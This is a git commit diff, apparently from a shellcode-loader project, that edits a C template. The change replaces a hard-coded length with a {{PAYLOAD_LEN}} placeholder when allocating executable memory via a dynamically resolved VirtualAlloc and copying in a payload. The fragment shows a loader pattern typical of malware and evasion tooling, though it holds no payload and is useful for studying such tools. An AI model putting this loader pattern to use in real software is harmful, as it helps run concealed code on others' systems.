refactor: use PAYLOAD_LEN in template instead of 0x11223344 in asm

This commit is contained in:
Dobin
2024-02-18 19:52:50 +00:00
parent 92e9b51409
commit 9b71cdd481
5 changed files with 11 additions and 13 deletions
+2 -2
View File
@@ -84,10 +84,10 @@ int main()
_In_ DWORD flAllocationType,
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
// 11223344 is a magic number which will be replaced in the asm source
// with the payload length.
for(int n=0; n<11223344; n++) {
for(int n=0; n<{{PAYLOAD_LEN}}; n++) {
dest[n] = supermega_payload[n];
}